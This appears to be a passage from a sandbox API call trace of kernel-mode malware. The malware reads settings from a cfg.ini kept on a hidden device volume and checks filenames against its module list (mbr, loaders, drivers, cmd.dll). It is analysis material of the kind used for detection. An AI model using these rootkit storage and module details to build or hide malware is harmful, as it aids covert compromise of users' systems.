[0128.294] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.294] KeEnterCriticalRegion () [0128.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.294] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.294] IdePortDispatch () returned 0x103 [0128.294] KeWaitForMutexObject () returned 0x0 [0128.294] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.294] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.294] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.294] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.294] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.294] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.294] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.294] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.294] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.294] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.295] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.295] KeLeaveCriticalRegion () [0128.295] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.295] ReleaseMutex (hMutex=0x100) returned 1 [0128.295] Sleep (dwMilliseconds=0x2bf20) [0128.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6faa43d0, dwHighDateTime=0x1d24fa4)) [0128.296] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.296] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.304] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.305] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.305] KeEnterCriticalRegion () [0128.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.305] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.305] IdePortDispatch () returned 0x103 [0128.305] KeWaitForMutexObject () returned 0x0 [0128.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.305] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.305] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.305] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.305] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.305] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9a00 [0128.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.305] KeLeaveCriticalRegion () [0128.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.305] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.305] KeEnterCriticalRegion () [0128.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.305] KeLeaveCriticalRegion () [0128.305] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.305] KeEnterCriticalRegion () [0128.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.306] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.306] IdePortDispatch () returned 0x103 [0128.306] KeWaitForMutexObject () returned 0x0 [0128.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.306] KeLeaveCriticalRegion () [0128.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.306] KeEnterCriticalRegion () [0128.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.306] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0128.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.306] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.306] IdePortDispatch () returned 0x103 [0128.306] KeWaitForMutexObject () returned 0x0 [0128.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.307] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.307] IdePortDispatch () returned 0x103 [0128.307] KeWaitForMutexObject () returned 0x0 [0128.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.307] KeLeaveCriticalRegion () [0128.307] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.308] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.308] KeEnterCriticalRegion () [0128.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] KeLeaveCriticalRegion () [0128.308] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.308] KeEnterCriticalRegion () [0128.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.308] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] KeLeaveCriticalRegion () [0128.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.308] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.308] KeEnterCriticalRegion () [0128.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] ExFreePoolWithTag (P=0xfffffa8003ac9a00, Tag=0x0) [0128.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] KeLeaveCriticalRegion () [0128.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.308] ReleaseMutex (hMutex=0xf0) returned 1 [0128.308] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.308] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.308] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.308] KeEnterCriticalRegion () [0128.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.308] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.308] IdePortDispatch () returned 0x103 [0128.309] KeWaitForMutexObject () returned 0x0 [0128.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe6b0 [0128.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.309] KeLeaveCriticalRegion () [0128.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.309] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.309] KeEnterCriticalRegion () [0128.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.309] KeLeaveCriticalRegion () [0128.309] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.309] KeEnterCriticalRegion () [0128.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.309] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.309] IdePortDispatch () returned 0x103 [0128.309] KeWaitForMutexObject () returned 0x0 [0128.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.310] KeLeaveCriticalRegion () [0128.310] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.310] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.310] KeEnterCriticalRegion () [0128.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.310] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0128.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.310] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.310] IdePortDispatch () returned 0x103 [0128.310] KeWaitForMutexObject () returned 0x0 [0128.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.310] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.310] IdePortDispatch () returned 0x103 [0128.311] KeWaitForMutexObject () returned 0x0 [0128.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.311] KeLeaveCriticalRegion () [0128.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.311] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.311] KeEnterCriticalRegion () [0128.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.311] KeLeaveCriticalRegion () [0128.311] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.312] KeEnterCriticalRegion () [0128.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.312] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.312] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.312] KeLeaveCriticalRegion () [0128.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.312] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.312] KeEnterCriticalRegion () [0128.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.312] ExFreePoolWithTag (P=0xfffffa8003bfe6b0, Tag=0x0) [0128.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.312] KeLeaveCriticalRegion () [0128.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.312] ReleaseMutex (hMutex=0xf0) returned 1 [0128.312] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.312] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.312] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.312] KeEnterCriticalRegion () [0128.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.312] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.312] IdePortDispatch () returned 0x103 [0128.312] KeWaitForMutexObject () returned 0x0 [0128.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.312] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.313] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.313] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.313] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.313] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.313] KeLeaveCriticalRegion () [0128.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.313] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.313] KeEnterCriticalRegion () [0128.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.313] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.313] KeLeaveCriticalRegion () [0128.313] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.313] KeEnterCriticalRegion () [0128.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.313] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.313] IdePortDispatch () returned 0x103 [0128.313] KeWaitForMutexObject () returned 0x0 [0128.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.313] KeLeaveCriticalRegion () [0128.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.314] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.314] KeEnterCriticalRegion () [0128.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.314] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0128.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.314] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.314] IdePortDispatch () returned 0x103 [0128.314] KeWaitForMutexObject () returned 0x0 [0128.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.314] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.314] IdePortDispatch () returned 0x103 [0128.314] KeWaitForMutexObject () returned 0x0 [0128.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.314] KeLeaveCriticalRegion () [0128.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.315] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.315] KeEnterCriticalRegion () [0128.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.315] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.315] KeLeaveCriticalRegion () [0128.315] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.315] KeEnterCriticalRegion () [0128.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.315] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.315] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.315] KeLeaveCriticalRegion () [0128.315] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.315] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.315] KeEnterCriticalRegion () [0128.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.315] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.316] KeLeaveCriticalRegion () [0128.316] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.316] ReleaseMutex (hMutex=0xf0) returned 1 [0128.316] WaitForSingleObject (hHandle=0x108, 